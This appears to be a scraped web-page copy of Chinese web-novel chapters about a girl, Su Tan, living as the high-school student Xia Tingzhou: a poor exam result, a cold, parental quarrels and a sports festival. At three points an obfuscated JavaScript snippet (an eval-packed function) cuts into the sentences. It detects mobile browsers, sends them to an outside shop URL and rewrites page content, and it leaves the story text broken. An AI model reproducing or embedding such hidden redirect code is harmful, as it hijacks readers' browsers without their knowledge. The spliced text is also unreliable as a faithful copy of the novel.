转眼,高二年级第一次月考到来。 因为要腾出考场,教室里所有位置上的书和东西都被搬空,全部挪到了走廊里,只留出中间一条狭窄的过道。 虽说苏昙肯定达不到夏汀舟那样的水平,但她也不想让成绩太难看,能多考一分是一分。每天早读晚读的时候,只当换换她满脑子都是代码的思绪,跟着班里同学叽哩哇啦地背背诗词,读读历史,念念政治。 语文考试进场前,苏昙站在走廊复习必备古诗词,余光中注意到一个眼熟的女生在看自己。她隐约记得是同班同学,好像还是班长。 要怪就怪夏汀舟长得太漂亮,这张脸论谁看了都要多瞅两眼。 然而,十几秒过去,那个女生的视线还没从苏昙身上离开。 苏昙被盯得有些不自在,干脆走到她面前,问道:“你好,你怎么一直盯着我?” 张思蓉顿时一副便秘的表情,瞪大眼睛指着自己:“夏汀舟,你要羞辱我也不用装作忘记我的名字吧?!别太欺负人,你等着,我这次肯定能考过你!” 苏昙:“?” 这种时候必须要找001问问前情了。 感受到苏昙的疑惑,001给她解释道:“那个女生叫张思蓉,是你们班的班长。从高一开始和夏汀舟一个班。她们学习都很好,成绩稳定在班里前三。只是,夏汀舟考过第一,考过第二,就是没考过第三。” 苏昙:“因为第三一直都是张思蓉?” “……嗯。” “怪不得我总觉得张思蓉看我的眼神有种杀气!” 001无声笑了笑,没再打扰苏昙和张思蓉两人的事情。 苏昙重新看向张思蓉,真诚道:“哦,那你的愿望能实现了。放心,这次你肯定能考过我。” 张思蓉听到来自对手的挑衅嘲讽,气得背过身,继续复习知识点,不再理会她了。 * 除了高三下学期的模考和联考,南山高中的其余考试都是老师自己出卷子自己批改,所以出成绩的速度尤其快。 第一次月考刚结束两天,早读的时候,杨辞便夹着几张成绩单,神色凝重地进到教室。 接着他用沉重的目光从前往后挨个扫过每一个学生,最后格外悲怵地落到最后一排还在低头看书学习的女生身上,重重地发出一声叹息。 高中的学生对于“老班的神色反应了这次的成绩”这一项技能可谓是得心应手,高二1班的同学一看到杨辞那“天塌了”的模样,心里也开始跟着咯噔。 杨辞嘬了一大口早就泡褪色的信阳毛尖绿茶,甩甩手里的单子,开口说道:“这次咱们班的总体成绩非常不理想,从年级第一掉到了年级第二!但你们可别忘了,整个年级才九个文科班!某些考得不好拖后腿的同学,趁着马上要来的国庆假期,好好反思一下原因,希望不要再让整个班级和我都跟着在校长面前丢脸了!” “下面我先念一下这次班里的排名。第一名,张思蓉,685分。” 张思蓉本来就是学霸,考到第一名并不让人意外。但她本人却像听到什么玄乎的怪事,不可置信地转身看向坐在最后一排的夏汀舟。 “第二名,徐豪,673分……第二十四名,程微雪,635分……第四十名,夏汀舟,480分……” 念到最后,班里一半的同学都陆陆续续往夏汀舟的位置上瞄。 高二1班是清北班,采用小班教学,一共就四十八个同学,夏汀舟作为年级雷打不动的前十,这次的成绩让班里的人都大跌眼镜。 只有当事人本人还事不关己高高挂起地沉浸在代码的世界里,直到杨辞喊到第三遍“夏汀舟”,苏昙才反应过来,他在叫她。 苏昙下意识把书放进桌屉里,才感觉到脑袋有些发晕,但是和要离开里世界前的预兆完全不一样。 她站起来回道:“杨老师,你喊我?” 班里响起一片隐隐笑声。 杨辞忍住火气重复道:“我说,下课了来办公室找我一趟。还有,我没让你站起来,坐下吧。” “……好。” 苏昙早就做好了成绩一落千丈的准备,心里没什么波澜地坐下。 结果整整一天,各科老师都趁着下课时间把她轮流拉到走廊,谈心的谈心,训话的训话,一直到晚读之后的晚自习,苏昙才得空去办公室见杨辞。 她进去的时候,杨辞脱了鞋,正把脚翘到桌子上,一脸发愁地和周围的老师说些什么,看到夏汀舟进来,忙坐端正了,喊道:“汀舟。” “杨老师。” “汀舟啊,你这次怎么回事?这成绩可不像你的水平。要知道,但凡你多考150分,咱们班的整体成绩就不会让张老师她们班超过去了。” 陈辞见学生进来,立刻恢复正经坐姿。 他对面一个戴着黑框眼镜的女老师,停下做教案的笔,抬起头笑道:“是啊,汀舟,下次可要好好发挥!你们杨老师拉着我分析半天了,这次你没考好着实可惜啊。” 杨辞不能再赞同,把苏昙这次写的各科答题卡找出来,说道:“你看看你的各科成绩,除了数学和英语在班里前五,其他科全都在二十名开外,到底怎么搞的?你和老师说实话,是不是家里出什么事了?别担心,真有什么困难,老师帮你一起解决。” 苏昙心道:那可不吗。她一个马上毕业的大学生,写高中卷子都是折磨,还要她一个月拾起来高中政史地,不如直接杀了她来得干脆。 其实连她自己都没想到,数学和英语竟然发挥得还不错,超出了预期。 杨辞见她不说话,以为他猜对了,露出一副意料之中的样子,语重心长道:“我听说你爸爸在外面做生意?这样吧,我找个时间和你家人聊聊。如果是他们影响了你学习,我一定好好劝劝。老师知道你一直是个不用让人操心的好孩子,心里肯定知道接下来该怎么努力。” 找夏恒和陈玫?他俩一个超强控制欲,一个超佛系淡人,找哪个都不合适吧?苏昙觉得还是早点让老师们接受她的成绩一退千丈的事实比较好。 她面上笑意减淡,对杨辞说:“我退步和他们没有关系,就是这段时间太累了,状态不好,我会继续努力的。” 其实她说得也不算错,最近她手里做的项目遇到一个很难解决的bug,今天各科老师又都来找她谈心训话,光是应付他们,她就已经耗尽精力,现在又感觉头昏脑胀的,实在不想再和杨辞扯瓜皮了,只希望赶紧放学回家休息。 熬过这段时间就好了,“神明”跌落高位,人们总是需要一个接受的过程。苏昙默道。 杨辞看出来夏汀舟神色恹恹,也不好再追着说什么,最后叮嘱两句便放她离开了。 * 晚上九点半,苏昙终于回到家。 她打开电脑,正准备接着昨晚的代码修改,瞥到电脑桌面的文件夹,猛地想起暑假替夏汀舟投稿的照片还没有回音。 她登录投稿的官方网站,确认了公布获奖结果的时间要等到今年寒假,还有三个月呢。 苏昙关闭网站,转念思及,要是没得奖怎么办,总不能只看这一个比赛吧?她又在网上找到几个正规的摄影比赛,把夏汀舟拍得其他好看的照片全都投稿上去。 做完这些,苏昙把书包里厚厚的一沓卷子拿出来,最上面放着月考的卷子和答题卡。那一厚沓卷子,是等会要交给001,让他给夏汀舟送过去的“国庆大礼包”。 眼下苏昙的头依旧昏昏沉沉,想来今晚是没什么精力改项目了。 她收拾好睡衣,打算洗个热水澡,好好休息一晚,其他的事国庆假期再说。 渐渐地,浴室里热气氤氲,苏昙舒服地泡在浴缸里,终于觉得身上的疲惫散去一些。 然而,半小时后,她刚出浴缸,便打了一个大大的喷嚏。苏昙抖了个寒蝉,赶紧擦净身上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678079|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水珠,裹上浴巾。 偏偏人在倒霉的时候,喝凉水也能塞牙缝,平地走路都能摔。 苏昙头重脚轻地踩在地上,伸手去拿挂在架子上的睡衣,没看清地上还有一滩溅出来的水渍,一不留神和地面来了个背对背拥抱。 就是这拥抱的代价有点大。 方才情况紧急,她本能地为了保护脑袋,胳膊蹭了一下地,手肘此刻火辣辣地钝痛。幸亏她身上还有浴巾,挡了一下,可怜的屁股才没有磕成四瓣。 苏昙躺在地上缓神,盯着天花板的顶灯,不悲反笑——人在无语的时候总是会以笑代怒。 她的子系统原本正在虚空之境工作,听到里世界的宿主高声惊叫,吓得立刻闪现在她面前。 “发生什么了?你没事吧!” 苏昙眼睛一亮:“来得正好,你快帮我……” 001低头,猝不及防看到只潦草裹了一张浴巾的身体,雪白的肌肤被弥漫在浴室里的热气遮挡,在他身下若隐若现地展露。001瞬间又吓得飞速挪开眼睛,眨眼消失不见。 “……”苏昙简直快要被他气死,这个时候当什么纯情老男人?没看到她现在受伤,起不来够不到衣服吗?倒是帮她拿一下啊!笨蛋! 过了几秒,笨蛋子系统似乎终于反应过来,敲响浴室的门,问道:“你……要帮忙吗?” 苏昙:这人怎么听起来比她还紧张? 她催促道:“废话!快点进来扶我一把,再帮我把架子上的睡衣递过来。” 下一秒,001打开浴室门,耳朵通红地小心搀扶起苏昙,待她站稳后,把衣服拿给了她。 “你、我……我在外面等你。” 001确认她不再需要帮忙,飞速转身出了浴室。 等苏昙收拾好回到房间时,001脸上的窘迫已经不见,不知他在哪里找到了医药包,示意她过来处理伤口。 苏昙觉得他有点太夸张,只是蹭了一下破了点皮,涂个碘伏就好,果断拒绝了他递过来的纱布和绷带。 休息了一会,001还没有要走的意思。苏昙正想让他回去休息,结果001先指着她的脸,犹豫道:“你的脸……怎么还这么红?” 苏昙:“?” “……有吗?”她摸到床上的手机,半信半疑地打开前置相机照了照,发现确实有点红,猜道,“可能是浴室温度太——啊……阿嚏!” 她揉揉鼻子,把手探到额头上,带了些许鼻音道:“哦,可能感冒了吧,好像有点发烧。” 怪不得她今天一天都没精打采的,差点忘了最近换季,学校里感冒的人变多,就是没想到自己也中招了。 001有些紧张道:“要去看医生吗?” “不用,趁着国庆假期休息两天就好了。”苏昙无所谓地摆摆手,冷不防对上他担心的目光。 001的视线太过认真灼热,苏昙感觉被烫了一下,莫名生出一点点不清不楚的心虚。 他什么都没说,苏昙却感觉他又什么都说了。 “好好好,我吃药还不行吗?”她移开视线,正好看见桌子上放着一杯热水,妥协道,“医药包呢?给我。” 001这才放松下来,把包递给她。 苏昙翻出几袋感冒药,在001的注视下,乖乖用热水泡开喝了。 “现在我药也吃了,你能回去了吧?”苏昙钻进被窝里说,“我,得休息了。 “好。”001嘴上说着,脸上的表情却明晃晃地写着“等你睡着了我再走”,明目张胆地坐到床边的椅子上,静静看着她。 苏昙拿这个固执的子系统没办法,背着001悄悄翻了个白眼,随他去了。 许是身体不舒服的原因,她翻来覆去好一会都没睡着。胡思乱想间,她想起谷晨的日记本还有一半没有看完,上次回来之后,挎包就一直放在001那里。 虽然现在已经确定谷晨的死就是主神造成的,但她总觉得还漏了些什么,心里有些不安。 苏昙轻声问道:“……001?” “我在。” “谷晨的笔记本是不是还在你那?下次给我带过来吧,我想再看看……哦对了,桌子上放的卷子和资料,你记得带给夏汀舟。” “嗯,好。” 说来也怪,刚才苏昙还辗转反侧睡不着,听到001的声音后,心里竟慢慢地安定下来,很快陷入睡梦。 睡梦里,她隐约感到有谁轻轻握住了自己的手,没一会又松开了。她觉得那双手很温暖,也很安全。 她很喜欢。 72. 世界四(5) 按照夏汀舟在里世界原来的情况,她因为自身的心理问题,总是独来独往,从不主动交朋友,落在外人眼里,就变成了一个孤僻自傲的富二代大小姐。 夏汀舟的家世和学习成绩本就令人眼红嫉妒,旁的普通人想接近却碍于放不下面子,接近了又发现她根本不是想象中的那样性格温柔随和,像个长满了刺的玫瑰,永远卸不下心中的防备和别扭,觉得她就剩下拒人千里的美貌。 久而久之,夏汀舟身边的朋友没几个,风言风语倒是一直没少过。 也不知是苏昙的魂穿改变了夏汀舟周身散发的气质,还是因为她考得一塌糊涂的成绩打破了夏汀舟学霸的传说,国庆过后,她的感冒好了,项目顺利进行测试阶段,身边竟然也渐渐热闹起来了。 一天课后,苏昙正翻看谷晨的日记本,余光里瞥到桌子前面站了个人。 张思蓉看到苏昙明明考的那么差,竟然还有心思看闲书,忍不住皱眉:“你月考到底怎么回事,为什么文综退步这么多?” 苏昙视线还停留在手里的日记本上,想也不想回道:“因为我有个理科梦。” “你疯了吧?高一下就分完科,你现在说要学理?”张思蓉想到开学那天,在苏昙课桌上瞅见的一本关于计算机的专业书,脸上的震惊更甚,差点没控制住音量,惊问道,“你不会认真的吧?!” “当然是——”苏昙感觉她憨得有些可爱,忍不住站起来,看着她笑道,“假的!没考好就是没考好,哪来什么原因。不过你放心,我压根没想放你水,你考得好纯粹因为你厉害。” “……” 张思蓉头一次听到夏汀舟一口气对她说这么多话,一下子没有反应过来,自然也就没有察觉出她话里的不对劲。 张思蓉悬着的心起了又落,终于听出了苏昙在夸她,微微抿唇道:“……真没意思,我等着你回来重新和我争第一。” 苏昙:“好啊。” 她恐怕比张思蓉更期待夏汀舟赶紧回来。 这时,一个温柔的声音插进来:“那个,你们没有在吵架吧?” 苏昙和张思蓉同时扭头,看向说话的女生。 程微雪腼腆道:“我刚才路过,以为你们有矛盾,才过来的……我是班里的心理委员。” 张思蓉作为班长,早在开学前一个星期就认完了全班同学,自然知道程微雪。 她摇摇手解释:“没有,我们在聊天。” “是的。”苏昙也还记得她还没相处够半天的前同桌,只是不知道原来程微雪还是生活委员。她顺着张思蓉的话点头。 程微雪站着没动,张思蓉意识到她应该有话要单独给夏汀舟说,立刻识趣地走开。 苏昙干脆合上手里的笔记本,认真听程微雪接下来说什么。 “汀舟,我知道你这次月考发挥失利,心里一定很难受。如果你有什么想倾诉的,可以和我说,我很乐意帮助你。” “谢谢你,但是不用了。” “……好吧。另外,如果你学习上有什么不懂的,也可以来问我。虽然我没你们学习好,但我会尽力帮你的。” 苏昙心道:“那我不懂的可太多了。” 嘴上却温声拒绝:“谢谢,但是也不用了。” 程微雪有些尴尬,没想到苏昙拒绝得这么干脆,刚才她可不是这么对张思蓉说话的。 苏昙看出程微雪没什么要说的了,指着外面提醒道:“马上要上课了,我得赶紧去趟厕所。” “哦。”程微雪猛地回神,侧身给苏昙让路,“不好意思啊,你快去吧。” 苏昙走出教室后,班里面几个好奇心重的、往最后一排张望的同学把头扭了回去,该学习的继续学习,该背书的接着背书。 * 上学的日子总是过得飞快,时间不知不觉跑到周六,不管是住校的还是走读的学生,无一不珍视这来之不易的一天休息时间,一窝蜂涌出校外。 司机把苏昙接到家后,紧接着去钢琴班接夏迁舟下课。 苏昙推开门进到别墅里,立刻察觉出气氛不太对。 沉默且压抑。 ——是夏恒回来了。 陈玫也罕见地从卧室露面,面色不耐地靠坐在他身边的沙发上。 夏恒身材高挑,眼尾上挑,嘴角却微微向下,不说话的时候自带威压,十分有气场。他身上西装还没来得及换,看着像刚赶回来的样子。 这个一个多月没回过家的父亲,此刻正站在客厅,凝视着自己刚回家的女儿。 苏昙假装没看到客厅里的两个大活人,目不斜视地朝楼上房间走去。 “站住,过来。” 夏恒缓缓开口,话里带着不容反对的命令。 苏昙感觉不太妙。她转身问道:“……怎么了,爸爸?” 夏恒见她不动,自己往前迈了两步,冷声问道:“你成绩怎么回事?” “什么成绩?” “别在这装聋作哑,给我好好回答。” 苏昙原本准备好好想个理由解释,听到夏恒的质问,顿时不爽:“月考吗?这次没考好。” “为什么没考好?” “不会写。” “那你之前呢,都是抄来的吗?撒谎也不动动脑子!” 苏昙:“?” 她发现夏汀舟这个爸是不是根本就不会好好说话,一句一个反问,他是十万个为什么吗?当她是百科全书呢! “之前是之前,现在是现在,不一样了。有进步就会有退步,没有人是可以一直保持完美优秀丝毫不松懈的。”苏昙努力不让夏恒糟糕的情绪影响到自己。 夏恒却不买她的账,眼里全是不相信:“你现在给我在这讲大道理,怎么不知道把功夫用到学习上,还至于考这么点分吗?!” 苏昙简直没法和他沟通,对夏汀舟之前在家里的感受有了同感,不想再和夏恒理论,抬腿走上楼梯。 “你干什么去?给我站住!” 夏恒被夏汀舟目无尊长的举动气到,一个跨步上前,出乎意料地朝夏汀舟抬起手,扬起一阵小风。 苏昙刚转身,还没来得及被夏恒毫无预兆要扇她巴掌的动作吓到,先被身边突然出现的男人震惊。 001脸上没什么表情,右手正死死钳制住夏恒的胳膊——就差十厘米,夏恒的巴掌就要落到苏昙脸上。 苏昙还在偏头看向001。 她第一次发现,001的侧脸长得特别标准,下颌骨流畅优美,不笑的时候,眼尾的弧度显得稍平,看起来也挺有气场的,但不像夏恒那样让人抗拒,反而有种吸引人靠近的冲动。 这股冲动带动苏昙的心跳越来越快,她突然意识到,001似乎把她保护得太好了,远远超出一个子系统应该为宿主做的。 她舔了舔唇,压下心里的悸动,移开了灼热视线。 夏恒的手莫名其妙无法动弹,气急败坏地以为是夏汀舟在反抗,骂道:“你一个半大的女学生,敢和和家里长辈顶嘴还手?我之前怎么发现你这么没有教养,怎么这么会装?!” 苏昙连一个眼神都没给他。 倒是001听到他骂得太过分,面上露出些许怒意,垂在身侧的拳头握得紧紧的,骨节都有些泛白。 苏昙瞥到他攥紧的双拳,赶紧把手覆上去轻轻安抚,表示没关系,别理夏恒,我们走。 她感觉到身边的人突然僵了一瞬,慢慢把拳头松开了。 夏恒被夏汀舟的爱搭不理气得不轻,没有注意到她的小动作,继续威胁道:“行啊,你要是现在敢上这个楼,以后的生活费就别想要了!” “……” 苏昙抬脚就走。 只是没上完一层楼,她又听到夏恒骂道:“陈玫,还有你这个当妈的!” 苏昙耳朵一动,又停下来。 “我怎么了?你要发泄就发泄,别发疯。”陈玫声音不大,却都是刺。 “你好意思说我?我整天没日没夜地在外面谈业务去酒局,供你们三个在家里好吃好喝,到头来都是我的不是了。你一天到晚大门不出二门不迈,出去了也是找你那几个小姐妹到处享受,我说你几句怎么了?” “我一直都是这样,爱去找谁找谁,爱去哪去哪。你几个月都不回家一次,回来了就到处挑刺,非要把家里气氛搅得鸡犬不宁你才满意吗?” 夏恒大手一挥:“我关心我女儿的学习有错了?她考得不好就是有问题!每次问你,都是考得挺好,学习优秀,原来全是唬我的!你一个当妈的天天在家,也不管两个孩子的生活学习,跟个没事人一样,有本事你去外面挣钱啊!” “夏恒,当初结婚的时候说好的,不要孩子。还不是为了你爸妈非要传宗接代,我要死要活生下来他们俩,差点没死在手术台上!可你呢,你那时候在干什么?我从病床上下来睁开眼的时候只看到了我爸我妈!你要是觉得这日子过不下去了,就去离婚!真以为我稀罕你那一点钱?!” 夏恒和陈玫吵得正激烈,“咔哒”一声,门开了。 夏迁舟抱着书包手足无措地站在门口,显然被家里不愉快的气氛吓得愣住。 夏恒没注意到儿子回来,仍然激动地对陈玫道:“我不管你怎么想,你记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“姐,我到底做错了什么,我究竟该怎么做才不会让他们离婚……我真的真的很不想让这个家散掉,我害怕……” 夏迁舟一边抽泣一边发泄,袖子很快洇湿一片水渍。就算他再讨厌夏汀舟,她也是他姐姐,是他无助的时候唯一能找到的人。 苏昙盯着他耸动的肩头,又一次想到了她的爸妈和家庭。 身边很多朋友都说她家庭很幸福氛围很好很羡慕,但她觉得那只是一个正常家庭该有的样子。相反,她一点也不喜欢宣扬这种幸福,她很清楚,还有很多人并没有她那么幸运。 可能是因为她从小到大总是被给予幸福和爱意,才少了像夏迁舟这样许多次感到无力和恐惧的瞬间。 而人在夏迁舟的年纪里,往往是没有办法化解这种伤痛的,更没有人告诉自己该怎么做,能怎么做。唯有随着时间流逝,冲淡痛苦的记忆。 苏昙把纸巾塞给他,没有给他想要的所谓的暖心安慰,只是说道:“你爸妈只是你爸妈。而你先是夏迁舟,才是他们的儿子。你能做的就是别再对他们抱有幻想,少去管他们的事。不离婚怎么样,离婚了又能怎么样,难道他们离婚你就不活了吗?你就要一哭二闹三上吊,逼着他们再复婚吗?这样你就能感觉快乐了吗?” 她说得很无情,也很尖锐。但夏迁舟的情绪却渐渐平复下来了。 夏迁舟拿纸擦干眼泪,看向苏昙。 苏昙放缓语气:“说实话,我也不是很清楚你要怎么做。因为怎么做是你自己要想清楚的事,我没法替你做决定。不过,我倒是能给你个惊喜,就是不知道算不算。” 夏迁舟哭得鼻子不透气,闷声问:“……什么惊喜?” “等着。”苏昙打开衣柜,在里面扒拉半天,疑惑道,“不对啊,我记得就是放在这了……啊,找到了!” 她从柜子里抱出来一个半人高的盒子,递给夏迁舟。 之前扣下的乐高积木,现在正好有合适的时机送出去。 “你怎么知道我一直想要这个……” 夏迁舟眼眶又红了。他年纪还小,夏恒会严格控制他的零花钱,在外面,他和普通人没什么两样。 可现在,梦寐以求的积木正静静躺在怀里,原来他不是没有人关心的。 看夏迁舟心情好转,她趁热打铁道:“所以你看,生活里还是有很多让人开心的事的,只是你总习惯性地忽略罢了。日子不会因为几件糟心事就过不下去,好好睡一觉——啊不,现在还早,可以先好好吃个饭,再好好睡一觉,明天又是崭新的一天。” “……嗯。”夏迁舟乖乖点头,确实感觉到有点饿了。一分钟后,他不好意思地问道,“姐……今天晚上我能和你一起出去吃吗?” 苏昙原本想一起进餐的邀请另有人选,但看到夏迁舟主动缓和和夏汀舟的关系,寻思应该算在自己需要完成的任务里面,实在不忍拒绝,便点头答应了。 就当再带一次孩子好了,之前又不是没带过。苏昙心道。 73. 世界四(6) 当天晚上,苏昙陪夏迁舟出去吃完饭,目送他进房间休息后,揉着有些酸胀的太阳穴回到自己的卧室里洗漱。 好像就是从来到这个里世界开始,她动不动就会感觉到疲惫。 苏昙想了一会,觉得应该是休息得不够好的原因。最明显的变化就是,她竟然开始做一些碎片化的梦了。 对于她这种几乎不怎么做梦的人来说,偶尔做一两次还好,但总是做梦多多少少会影响到每天的状态。不过她对梦里光怪陆离的情节也不走心,起床后洗一把脸,该做什么做什么,把自己调整得还算可以。 这天晚上也是一样。 她梦到不停大哭的夏迁舟,崩溃怒骂的陈玫,还有情绪激动的夏恒,别墅里鸡飞狗跳的。半梦半醒间,她听到夏恒的声音从楼下传来,似乎在和谁打电话,说什么“飞机”“会议”,没过一会便急匆匆地出了门,也一并带走了她梦里的夏家人。 一觉天亮。 苏昙下楼到餐厅的时候,意外发现人到得格外整齐。夏迁舟乖乖把碗筷替孙姨摆好,陈玫也久违地出现在餐桌边。 “早啊。”苏昙打招呼道。 陈玫看了一眼夏汀舟,面上还带着些倦意,回道:“早。” 孙姨每晚都会回家,昨晚不在别墅里,不知道昨天晚上别墅里发生的“腥风血雨”,笑着打破了餐桌上三人的尴尬气氛:“哎呀好不容易人这么齐,我再去多做几个菜!” “不用了。”夏迁舟拿着筷子从厨房走出来,也先看了一眼夏汀舟,说道,“……这些够吃了,做多了浪费。” 孙姨:“那行,你们先吃,我去把锅里的最后一个炒菜盛出来。” 陈玫:“嗯。” 孙姨走后,餐桌再次陷入沉默,只有碗筷时不时碰撞的声音和细细的咀嚼声。 苏昙埋头吃得认真,没有注意到另外两个人的神情——她现在在困惑一件事。 睡过一觉,她才琢磨出昨天晚上和夏恒的吵架有一丝不对劲。杨辞明明答应过她,不会因为这次月考成绩找家长,为什么他还是知道了她这次退步的事? 刚开学的时候,她就了解到,南山高中虽然重视成绩,但也注重保护学生隐私,除了期末的成绩,其他考试成绩是不会直接通知到家长那里的,就算问班主任也没什么用。 她本以为夏恒至少要到这学期结束才会知道成绩的事,没想到现在就知道了。可她又实在想不通,除了通过杨辞,夏恒还能有什么办法知道她的考试成绩? 苏昙放下筷子,看向陈玫:“妈。” 陈玫停下咀嚼:“嗯?” “杨辞前段时间有给你打过电话吗?” 陈玫没想到夏汀舟先问的会是这个,想了几秒,说:“没有。怎么了?” “那你知道他给爸打过电话吗?” “应该也没有。你忘了,之前的班主任都是跟我沟通的。你爸他工作很忙,只知道你学习好成绩好,其他的根本没时间了解。”陈玫顿了顿,侧身给来上菜的孙姨腾出地方,继续道,“你是想问,他怎么会知道你这次月考退步的事?” 苏昙:“对。” 她注视着孙姨手里的菜,是道烧茄子,一看就很好吃。 陈玫:“其实我也不知道怎么回事。他昨天下午突然回来,神情很凝重。我问他才知道是因为你。等你到家……之后的事你们就都知道了。” 夏迁舟比苏昙回来的晚,自然没有看到夏恒与夏汀舟吵架的场面,问陈玫道:“他又骂姐姐了?又威胁她,不允许她走摄影的职业道路吗?咱们家又不是没钱。” “没你说的那么严重。”苏昙纠正他,避免他过度脑补。 陈玫也解释道:“其实,我对你们俩的成绩没什么要求,只要说得过去就行。你爸他是想让你们长大之后继承夏家产业,才会这么严苛。不过他有一点说得的确没错,我不是一个合格的母亲,我需要向你们道歉。” 陈玫深深吸气,徐徐说道:“昨天我和你爸吵架应该吓到你们两个了,完全没有顾及到你们的感受,对不起。我不是不爱你们,是太长时间刻意逃避成为母亲这件事,已经不知道该怎么开始了。但不管和夏恒之间发生什么,我会努力做好一个妈妈的。希望你们俩能原谅我,行吗?” 夏迁舟没有说话,快要把整个头都埋进碗里。他感觉到自己的眼泪不争气地滑噜噜掉进饭里,心道真叫人没法再吃了。 没有人回应陈玫的承诺,她有些尴尬地喊了声:“迁舟?” 夏迁舟低着头,把凳子往后一推,说道:“我吃饱了,先上楼了。”说完,飞快抹了把眼睛,跑上楼钻进房间。 苏昙注意到陈玫的眼底一片淡黑,心情十分复杂。陈玫是夏汀舟的妈妈,不是她的。她不知道夏汀舟会做什么样的选择,是原谅,还是依旧难以放下?似乎都有些难。 陈玫和苏昙目光相碰,似乎还在期待一个回答。 苏昙避开了陈玫的视线,站起来收拾碗筷:“妈,我也吃好了,先上去了。” “……好。”陈玫见她要离开,又赶紧喊住她,说道,“你放心,就算杨辞打电话过来,我也知道该怎么说,你不用有压力。你爸那边,我会再和他说说的。” 苏昙点头:“嗯。谢谢您。” * 夏恒果真是个商人,说一不二,立刻就断了夏汀舟的零花钱。苏昙注意到,夏汀舟卡上的余额已经很长时间没有变化过了。 不过,苏昙这边的事情进展倒是不小。她花了几天,把之前做的项目写进简介里,注册了某代码平台,很快接到两个学生的项目单。 项目不算很难,给的时间也比较富裕,单主意外地好沟通,一些细节处理起来也算顺利,拿来练手正好。唯一不足的就是给的价格太黑奴,两单加起来也才1w出头。 苏昙安慰自己,至少能花自己的钱了,不亏心。毕竟凡事都有开始,慢慢来不着急。 除此之外,别墅里的气氛也有了微妙的变化。陈玫在家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689591|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露面的次数越来越多,夏迁舟的抱怨声越来越少,大多时候,餐桌上不再是一个人,而是三个人了。 …… 转眼一个月过去,高二上学期期中考试结束,天也更凉了些,有些怕冷的陆续穿上外套毛衣。 杨辞更是水杯不离手,喝一口还要吹上一口热气。 期中成绩出来的当天下午,苏昙没见到成绩,先在办公室再次和他见面了。 杨辞对面还是那位戴黑框眼镜的张老师。苏昙看到她投过来的和蔼目光,也对她招手礼貌微笑。 杨辞“咣”地把水杯搁在桌子上,打断夏汀舟的笑容,恨铁不成钢地抖着手里她的答题卡,叹气道:“汀舟啊,你到底怎么了?成绩不进反退,马上就要掉下400了!你是不是不想学了?” 苏昙立刻摇头。 杨辞对她诚恳的态度还算满意,语气缓和了点:“上次你说不要给家长打电话,又不愿意告诉我到底发生了什么。你放心,我这次一定好好和你父母沟通,咱们就事论事,你别担心。” 杨辞教书几十年,自认为应付学生出的各种情况可谓得心应手,还没有他解决不了的问题。就算有,多磨些时间总能找到办法。 苏昙拗不过他,只得点头同意。 杨辞翻出来班里学生刚开学的时候填的个人信息单,拨通了联系人那栏唯一的一串号码。 “喂,是汀舟妈妈吗?” 苏昙隐约听电话那头应了一声,杨辞耐心说明:“是这样,汀舟从开学以来,成绩起伏有些大,她不好意思告诉我具体发生了什么,只好找您来问问情况——” 杨辞:“什么,您知道?那您觉得——” 杨辞:“哦,我能问下具体是因为什么吗?” 苏昙听着杨辞“嗯嗯”“啊啊”的,一会点头一会皱眉,愣是没再找到一个说话的缝隙。 不知道陈玫对他说了什么,挂断电话之后,杨辞盯着面前的女学生看了一会,最后叹了一口气,妥协道:“你的情况我都知道了。走吧,马上要上课了。” 下节二班是他的课,他抱上教案和成绩单,带着夏汀舟回到教室。 不知道班里刚才发生了什么,许多学生都在说笑,张思蓉远远地看到杨辞,拍着桌子喊道:“老师来了,安静!” 说话的人下意识抬头,看到夏汀舟竟然跟在杨辞后面进来,心觉不妙,纷纷闭上嘴。 苏昙径直回到座位坐下。 杨辞跨上讲台,麻木地接受了这次班级排名仍是年级第二的事实,接着开始分析这次考试的问题,提到苏昙不进反退的成绩,也只是草草带过。 不仅杨辞逐渐习惯,班里同学也开始习惯夏汀舟也没那么优秀,好多次周测的成绩甚至还不如自己,心境从最开始的惊讶变成见怪不怪。 说完成绩的事,杨辞接着道:“现在还有一件事要宣布。” 话音刚落,讲台下几十个学生的眼睛齐刷刷地亮起来,对杨辞要说的事都心照不宣。 74. 世界四(7) “下星期五,学校要举办体育文化节——” 杨辞还没说完,班里突然爆发一阵惊呼,庆贺一成不变的学习生活中终于迎来一次新鲜事。 南山高中的体育文化节,顾名思义,就是将运动会和艺术节合并到一起,一共三天,三天内不再上课,相当于一个小长假,除了不能私自出校,干什么都行。 “先听我说完!”杨辞嘬了一口杯沿的茶叶沫,说道,“体育委员把报名表整理好,在明天中午之前交给我。原则上,学校要求每个项目都尽量报满。但咱们班是文科班,有几个项目空缺也正常。不过我还是希望大家都积极一点,毕竟文化体育成绩也算在班级整体综合素质里面。我们不仅要做学习上的第一,还要做综合发展上的第一!能不能做到!” 杨辞意气风发地挥着胳膊喊完,老脸不禁有点发红。 什么第一,他对于文科班整体的身体素质可是门清,能不争倒数后几就不错了,更何况单看学习成绩,二班早就不在第一的位置了。 想归想,振奋精神的口号还是要喊得响亮一点。 这不,杨辞前脚刚走,班里就炸开锅了。 